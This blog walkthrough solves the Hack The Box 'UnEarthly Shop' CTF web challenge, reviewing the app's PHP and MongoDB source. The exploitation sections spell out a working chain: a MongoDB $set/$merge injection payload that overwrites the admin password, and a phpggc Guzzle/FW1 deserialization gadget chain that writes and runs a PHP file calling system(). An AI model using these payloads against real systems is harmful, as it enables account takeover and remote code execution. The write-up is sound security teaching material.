forbytten blogs

UnEarthly Shop walkthrough - Cyber Apocalypse 2023

Last update:

1 Introduction

I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.

This walkthrough covers the UnEarthly Shop challenge in the Web category, which was rated as having a ‘hard’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.

Whilst I did not have time to complete the challenge during the live CTF event, I managed to complete it during the post-CTF “after party”, which was an additional three days during which the challenges were made available to be completed without scoring.

The description of the challenge is shown below.

UnEarthly Shop challenge description

The key techniques employed in this walkthrough are:

2 Mapping the application

2.1 Mapping the application via interaction

  1. The target website was opened in the Burp browser, revealing an “UnEarthly Artifacts Shop” login form

    Target website opened in Burp Browser displayed an “UnEarthly Artifacts Shop”
  2. The following request was observed in Burp during the website page load. The presence of the $match syntax in the request is notable, as MongoDB supports a $match filter, suggesting that the application will happily accept and process raw MongoDB queries. As such, the application is potentially vulnerable to MongoDB NoSQL injection, which is an instance of the common weakness CWE-943: Improper Neutralization of Special Elements in Data Query Logic. This will be confirmed later in this walkthrough.

    POST /api/products HTTP/1.1
    Host: 104.248.169.117:31182
    Content-Length: 29
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
    Content-Type: application/json
    Accept: */*
    Origin: http://104.248.169.117:31182
    Referer: http://104.248.169.117:31182/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
    Connection: close
    
    [{"$match":{"instock":true}}]
    
    HTTP/1.1 200 OK
    Server: nginx
    Date: Sat, 25 Mar 2023 05:38:23 GMT
    Content-Type: application/json; charset=utf-8
    Connection: close
    Content-Length: 2842
    
    [
      {
        "_id": 1,
        "name": "extraterrestrial space set one",
        "description": "Our Extraterrestrial Space Set One is a collection of 20 unique artifacts made from a mysterious blue gemstone material, unlike anything found on Earth. These objects were discovered in a remote region of the galaxy and are believed to be remnants of an alien spacecraft. Each artifact is visually stunning, with strange symbols and patterns carved into them. These artifacts offer a tantalizing glimpse into the vast and wondrous universe beyond our own. Order yours today and experience the magic of the cosmos for yourself.",
        "price": "1.299",
        "image": "relic_6.png",
        "instock": true
      },
    
      <snip/>
    
      {
        "_id": 4,
        "name": "Cosmic Convergence Set",
        "description": "Our Cosmic Convergence Set is a collection of 21 artifacts made from a shimmering blue crystal that seems to contain the essence of the cosmos itself. Each artifact in this set is a work of art, with intricate patterns and designs etched into the surface. These artifacts were discovered in a distant galaxy and are believed to have been used in a sacred cosmic ceremony. Experience the majesty of the universe with this stunning collection.",
        "price": "1.399",
        "image": "relic_3.png",
        "instock": true
      }
    ]
  3. For brevity, further interactive exploration of the UI is omitted from this walkthrough as it was of little consequence.

2.2 Mapping the application via source code review

To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.

  1. From the Dockerfile, the following was observed

    1. A Debian base image is used

      FROM debian:buster-slim
    2. Both MongoDB and php are installed, indicating the application is likely a php web application with a backend MongoDB database

      # Install mongodb
      RUN wget -qO - https://www.mongodb.org/static/pgp/server-6.0.asc | apt-key add -
      RUN echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/6.0 main" | tee /etc/apt/sources.list.d/mongodb.list
      RUN apt-get update && apt install -y mongodb-org
      
      # Install php
      RUN curl -sSo /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg
      RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list
      RUN apt update && apt install -y php7.4-fpm php7.4-mbstring php7.4-json php7.4-mongodb php7.4-memcached
    3. The flag is located in /root/flag, which is typically only readable by the root user.

      # Add readflag binary
      COPY flag.txt /root/flag

      Furthermore, obtaining the flag requires exploiting a remote code execution vulnerability in order to execute /readflag, which is a good hint as to the expected attack vector.

      COPY config/readflag.c /
      RUN gcc -o /readflag /readflag.c && chmod 4755 /readflag && rm /readflag.c

      config/readflag.c reads the flag as the root user and prints it to standard out

      #include<unistd.h>
      #include<stdlib.h>
      int main()
      {
          setuid(0);
          system("cat /root/flag");
      }
    4. The Docker container runs the application via /entrypoint.sh

      # Populate database and start supervisord
      COPY --chown=root entrypoint.sh /entrypoint.sh
      RUN chmod +x /entrypoint.sh
      ENTRYPOINT ["/entrypoint.sh"]
  2. /entrypoint.sh does the following

    1. Starts a MongoDB server

      # Start mongodb
      mkdir /tmp/mongodb
      mongod --noauth --dbpath /tmp/mongodb/ &
      
      # Wait for mongodb
      while ! mongostat --discover -n1 --quiet; do echo "not up"; done
    2. Generates a 16 character long pseudorandom alphanumeric password and sets the admin user password in /opt/schema/users.json to this value

      # Secure admin account
      PASSWORD=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 16 | head -n 1)
      sed -i "s/\[REDACTED\]/${PASSWORD}/g" /opt/schema/users.json
    3. Imports the admin user into the MongoDB database

      mongoimport --db unearthly_shop --collection users --file /opt/schema/users.json --jsonArray
    4. Runs the application via supervisord, which is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.

      /usr/bin/supervisord -c /etc/supervisord.conf
  3. config/supervisord.conf indicates there are two processes running, one php-fpm process, program:fpm on line 8 and one nginx process program:nginx on line 17:

    [supervisord]
    user=root
    nodaemon=true
    logfile=/dev/null
    logfile_maxbytes=0
    pidfile=/run/supervisord.pid
    
    [program:fpm]
    command=php-fpm7.4 -F
    autostart=true
    priority=1000
    stdout_logfile=/dev/stdout
    stdout_logfile_maxbytes=0
    stderr_logfile=/dev/stderr
    stderr_logfile_maxbytes=0
    
    [program:nginx]
    command=nginx -g 'daemon off;'
    autostart=true
    stdout_logfile=/dev/stdout
    stdout_logfile_maxbytes=0
    stderr_logfile=/dev/stderr
    stderr_logfile_maxbytes=0
  4. config/nginx.conf configures nginx in the following way

    1. Configures /www/frontend/ as the root directory for requests

      root /www/frontend/;
    2. Configures the /admin path to be aliased to the /www/backend directory. This is notable, as admin paths typically indicate privileged functionality. Later on in this walkthrough, further analysis of the backend code will be conducted.

      location /admin {
          alias /www/backend/;

3 Vulnerability analysis - MongoDB NoSQL injection

3.1 Manual source code review - frontend

In order to more easily determine how the application processes requests submitted to /api/products, especially how the $match syntax is handled, manual review of the source code was conducted.

  1. challenge/frontend/index.php defines a Router for mapping URLs to controllers. Line 29 maps the /api/products route to the products method in the ShopController

    $router = new Router();
    $router->new("GET", "/", "ShopController@index");
    $router->new("POST", "/api/products", "ShopController@products");
    $router->new("POST", "/api/order", "ShopController@order");
  2. In challenge/frontend/controllers/ShopController.php, the products method uses the native json_decode function to decode JSON from the request body on line 17, then delegates the query to $this->product->getProducts($query) on line 24. Notably, no input validation is performed on the JSON.

    public function products($router)
    {
        $json = file_get_contents('php://input');
        $query = json_decode($json, true);
    
        if (!$query)
        {
            $router->jsonify(['message' => 'Insufficient parameters!'], 400);
        }
    
        $products = $this->product->getProducts($query);
    
        $router->jsonify($products);
    }

    There is no $this->product field in ShopController itself but the class inherits from Controller on line 2:

    class ShopController extends Controller

    In challenge/frontend/controllers/Controller.php, $this->product is an instance of ProductModel on line 7:

    <?php
    class Controller
    {
        public function __construct($privileged = False, $required_access = [])
        {
            $this->database = Database::getDatabase();
            $this->product  = new ProductModel;
            $this->order    = new OrderModel;
        }
    }
  3. In challenge/frontend/models/ProductModel.php, getProducts delegates the query to $this->database->query('products', $query) on line 11

    <?php
    class ProductModel extends Model
    {
        public function __construct()
        {
            parent::__construct();
        }
    
        public function getProducts($query)
        {
            return $this->database->query('products', $query);
        }
    }
  4. In challenge/frontend/Database.php, the query function passes the $query parameter down to $collection->aggregate($query) on line 34

    public function query($collection, $query)
    {
        $collection = $this->db->$collection;
    
        $cursor = $collection->aggregate($query);
    
        if (!$cursor) {
            return false;
        }
    
        $rows = [];
    
        foreach ($cursor as $row) {
            array_push($rows, $row->jsonSerialize());
        }
    
        return $rows;
    }

    On lines 25-27, it can be seen that $this->db->$collection is from the underling MongoDB\Client

    public function connect($database)
        {
            $this->client = new MongoDB\Client($this->uri);
    
            $this->db = $this->client->$database;
        }

    As there is no input validation performed on the JSON that was originally passed into the /api/products route before it is passed down to the MongoDB client, the application is vulnerable to MongoDB NoSQL injection, which is an instance of the common weakness CWE-943: Improper Neutralization of Special Elements in Data Query Logic.

    A good reference for mitigating this type of vulnerability is the OWASP Injection Cheat Sheet.

3.2 Understanding the MongoDB aggregate method

The aggregate() method is documented as follows:

In the db.collection.aggregate() method and db.aggregate() method, pipeline stages appear in an array. Documents pass through the stages in sequence.

An example illustrating the form of the aggregate() method is given at https://www.mongodb.com/docs/manual/core/aggregation-pipeline/#calculate-total-order-quantity

db.orders.aggregate( [
   // Stage 1: Filter pizza order documents by pizza size
   {
      $match: { size: "medium" }
   },
   // Stage 2: Group remaining documents by pizza name and calculate total quantity
   {
      $group: { _id: "$name", totalQuantity: { $sum: "$quantity" } }
   }
] )

This structure very much matches the structure of the JSON passed to the /api/products route, where the latter has a single $match stage:

[{"$match":{"instock":true}}]

MongoDB supports many different types of stages. Of particular interest for this walkthrough are the following stages:

  1. The $merge stage is documented as follows:

    Writes the results of the aggregation pipeline to a specified collection. The $merge operator must be the last stage in the pipeline.

    Given the admin password is stored in the users collection in the MongoDB database, the $merge stage may allow us to overwrite the admin user’s password.

  2. The $set stage is documented as follows:

    Adds new fields to documents. $set outputs documents that contain all existing fields from the input documents and newly added fields.

    The $set stage may allow us to set the admin password field to a value before the $merge stage writes the data to the users collection.

4 Exploitation - set admin password via MongoDB NoSQL injection

4.1 Formulating the $set aggregation pipeline stage

The structure of data persisted to the users collection was obtained from config/schema/users.json

[
    {
        "_id": 1,
        "username": "admin",
        "password": "[REDACTED]",
        "access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
    }
]

Thus, the $set stage of the aggregation pipeline can be defined similarly to set the password field to “admin”

"$set":
{
    "_id": 1,
    "username": "admin",
    "password": "admin",
    "access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"

}

Notably, the value of the access field appears to be a php serialized object. We will return to this observation later in this walkthrough.

4.2 Formulating the $merge aggregation pipeline stage

The $merge stage was defined as follows:

"$merge":
{
    "into":"users",
    "on": "_id",
    "whenMatched": "replace",
    "whenNotMatched": "insert"
}

Each field is used as follows:

"into":"users"
write data to the users collection
"on": "_id"
defines the _id field to be the document identifier
"whenMatched": "replace"
if an existing document has the same id, replace it
"whenNotMatched": "insert"
if no existing document exists, insert a new one. This should not really be required in this instance, since we know an existing document exists but it was included for generality.

4.3 Combining the $set and $merge aggregation pipeline stages

Combining the two stages gives the following aggregation pipeline, which will create a document containing the admin user object in the $set stage, then write the data to the users collection in the $merge stage.

[
    {
        "$set":
        {
            "_id": 1,
            "username": "admin",
            "password": "admin",
            "access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"

        }
    },
    {
        "$merge":
        {
            "into":"users",
            "on": "_id",
            "whenMatched": "replace",
            "whenNotMatched": "insert"
        }
    }
]

4.4 Submitting the aggregation pipeline

The aggregation pipeline was submitted to the /api/products route, resulting in a 200 OK response:

Submitting the aggregation pipeline to /api/products returned a 200 OK

4.5 Logging in as the admin user

The admin:admin credentials were used to successfully login as the admin user, demonstrating that the MongoDB NoSQL injection vulnerability had been successfully exploited:

The admin:admin credentials were used to successfully login as the admin user
Admin dashboard displayed after successful login using the admin:admin credentials

5 Vulnerability analysis - php deserialization RCE

5.1 Manual source code review - backend

The source code review earlier in this walkthrough focused primarily on the frontend layer of the application, noting that the /admin route was aliased to the /www/backend directory. Now that access to the /admin route has been achieved, it is time to take a closer look at the backend layer.

It was previously observed that the data persisted to the users collection from config/schema/users.json contains an access field which appears to be a php serialized object:

[
    {
        "_id": 1,
        "username": "admin",
        "password": "[REDACTED]",
        "access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
    }
]

Given we have proven we can write data to the users collection, there is likely a php deserialization vulnerability, which is an instance of the common weakness CWE-502: Deserialization of Untrusted Data. A good reference for mitigating this type of vulnerability is the OWASP Deserialization Cheat Sheet.

The code base was searched for the unserialize function call, which yielded a match in challenge/backend/models/UserModel.php on line 9. This indicates php deserialization of the access field can be triggered whenever a user has already successfully logged in and the fields from the users collection are in the session.

<?php
class UserModel extends Model
{
    public function __construct()
    {
        parent::__construct();
        $this->username = $_SESSION['username'] ?? '';
        $this->email    = $_SESSION['email'] ?? '';
        $this->access   = unserialize($_SESSION['access'] ?? '');
    }

5.2 Hunting for an RCE gadget chain

Exploitation of php deserialization vulnerabilities to achieve remote code execution requires the following pre-requisites:

  1. The php class path must contain a class that insecurely implements one or more of the trampoline functions listed at https://book.hacktricks.xyz/pentesting-web/deserialization#php, namely:

  2. A chain of classes from the trampoline function must exist that ultimately results in code execution. This is known as a gadget chain.

The code base was searched for the trampoline methods, with __destruct found in guzzlehttp vendor modules in the frontend layer:

The frontend layer contains the guzzlehtpp vendor module with contains __destruct calls

Notably, phpggc1 contains gadget chains for Guzzle, also based on the __destruct attack vector:

$ phpggc -l |grep -i -e ^guzzle -e gadget -e version
Gadget Chains
NAME                                      VERSION                                              TYPE                   VECTOR         I
Guzzle/FW1                                6.0.0 <= 6.3.3+                                      File write             __destruct
Guzzle/INFO1                              6.0.0 <= 6.3.2                                       phpinfo()              __destruct     *
Guzzle/RCE1                               6.0.0 <= 6.3.2                                       RCE (Function call)    __destruct     *

However, guzzlehttp is used in the frontend layer, whereas our attack vector, the deserialization of the access field from the users collection, is via the backend layer. Nevertheless, an attack chain for this type of situation is documented at HackTricks: PHP - Deserialization + Autoload Classes. The following key pre-requisites for the documented technique also existed in the target:

  1. In the backend layer, challenge/backend/index.php contains a spl_autoload_register call which registers a function to auto load classes. This means classes can be used without explicitly loading them.

    spl_autoload_register(function ($name) {
        if (preg_match('/Controller$/', $name)) {
            $name = "controllers/${name}";
        } elseif (preg_match('/Model$/', $name)) {
            $name = "models/${name}";
        } elseif (preg_match('/_/', $name)) {
            $name = preg_replace('/_/', '/', $name);
        }
    
        $filename = "/${name}.php";
    
        if (file_exists($filename)) {
            require $filename;
        }
        elseif (file_exists(__DIR__ . $filename)) {
            require __DIR__ . $filename;
        }
    });
  2. In the frontend layer, challenge/frontend/vendor/autoload.php contains composer generated code for loading all vendor modules:

    <?php
    
    // autoload.php @generated by Composer
    
    if (PHP_VERSION_ID < 50600) {
        if (!headers_sent()) {
            header('HTTP/1.1 500 Internal Server Error');
        }
        $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
        if (!ini_get('display_errors')) {
            if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
                fwrite(STDERR, $err);
            } elseif (!headers_sent()) {
                echo $err;
            }
        }
        trigger_error(
            $err,
            E_USER_ERROR
        );
    }
    
    require_once __DIR__ . '/composer/autoload_real.php';
    
    return ComposerAutoloaderInita4bb17fe7934ec8d3b3dbf48677a1e9d::getLoader();

    Furthermore, the Dockerfile copies the challenge to /www and thus, the location of the autoloader matches the HackTricks documented path of /www/frontend/vendor/autoload.php.

    # Copy challenge files
    COPY challenge /www

6 Exploitation - php RCE gadget chain

6.1 Patching the Guzzle/FW1 gadget chain code

HackTricks: PHP - Deserialization + Autoload Classes contains the following note:

NOTE: The generated gadget was not working, in order for it to work I modified that payload chain.php of phpggc and set all the attributes of the classes from private to public. If not, after deserializing the string, the attributes of the created objects didn’t have any values.

As such, the Guzzle/FW1 gadget chain code was patched to make each class attribute public:

$ pwd
/usr/share/phpggc/gadgetchains/Guzzle/FW/1

$ diff gadgets.php.bak gadgets.php
7c7
<         private $data;
---
>         public $data;
21,22c21,22
<         private $cookies = [];
<         private $strictMode;
---
>         public $cookies = [];
>         public $strictMode;
32,33c32,33
<         private $filename;
<         private $storeSessionCookies = true;
---
>         public $filename;
>         public $storeSessionCookies = true;
41c41
< }
\ No newline at end of file
---
> }

6.2 Generating the Guzzle/FW1 gadget chain

The Guzzle/FW1 gadget chain is a file write chain which requires two arguments, the remote_path to write the file to and the local_path containing the payload to be written:

$ phpggc Guzzle/FW1

<snip/>

Name           : Guzzle/FW1
Version        : 6.0.0 <= 6.3.3+
Type           : File write
Vector         : __destruct

ERROR: Invalid arguments for type "File write"
./phpggc Guzzle/FW1 <remote_path> <local_path>

The payload was defined to execute the /readflag binary and echo the results to standard out:

$ cat readflag.php

<?php echo(system('/readflag')); ?>

The gadget chain was generated with a remote_path of /tmp/readflag.php:

$ phpggc Guzzle/FW1 /tmp/readflag.php $(pwd)/readflag.php

<snip/>

O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:35:"<?php echo(system('/readflag')); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:17:"/tmp/readflag.php";s:19:"storeSessionCookies";b:1;}

Next, the gadget chain was placed into a php serialized array, with the first element containing the class name www_frontend_vendor_autoload, which will be auto loaded by the backend layer class autoloader. This ensures the guzzlehttp module will be loaded so that the gadget chain has access to the GuzzleHttp class:

a:2:{i:0;O:28:"www_frontend_vendor_autoload":0:{}i:1;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:35:"<?php echo(system('/readflag')); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:17:"/tmp/readflag.php";s:19:"storeSessionCookies";b:1;};}

6.3 Generating a payload to execute /tmp/readflag.php

The Guzzle/FW1 gadget chain above only generates /tmp/readflag.php but does not execute it. Thus, we need another php serialization payload to load the /tmp/readflag.php file, taking advantage of the backend class autoloader, which will translate tmp_readflag to /tmp/readflag.php:

O:12:\"tmp_readflag\":0:{}

As documented by HackTricks, this could be added to the end of the previous deserialization gadget. However, in this walkthrough, it will be delivered as a separate stage.

6.4 Persisting the Guzzle/FW1 gadget chain

The Guzzle/FW1 gadget chain was formatted to be JSON friendly by escaping the double quote characters:

a:2:{i:0;O:28:\"www_frontend_vendor_autoload\":0:{}i:1;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:7:\"cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:4:\"data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:35:\"<?php echo(system('/readflag')); ?>\";}}}s:10:\"strictMode\";N;s:8:\"filename\";s:17:\"/tmp/readflag.php\";s:19:\"storeSessionCookies\";b:1;};}

Next, the MongoDB NoSQL injection vulnerability was once again exploited to post the gadget chain to /api/products in the access field of a new gadgeteer user:

New gadgeteer user added to database with the gadget chain in the access field

6.5 Persisting the /tmp/readflag.php executing gadget

The MongoDB NoSQL injection vulnerability was once again exploited to post the gadget chain to /api/products in the access field of a new flagreader user, which will execute the /tmp/readflag.php file:

New flagreader user added to database with gadget to execute /tmp/readflag.php

6.6 Triggering the Guzzle/FW1 gadget chain

The Guzzle/FW1 gadget chain was triggered by logging in as the gadgeteer user, although technically, I think the deserialization only occurs when the /admin/dashboard route is requested after login.

Logging in as the gadgeteer user triggers the Guzzle/FW1 gadget chain

6.7 Reading the flag

The /tmp/readflag gadget was triggered by logging in as the flagreader user:

Logging in as the flagreader user triggers the /tmp/readflag gadget

Retrieving the user’s dashboard at /admin/dashboard revealed the flag in the response:

The flag was obtained from the flagreader’s dashboard at /admin/dashboard

7 Conclusion

The flag was submitted and the challenge was marked as pwned

Submission of the flag marked the challenge as pwned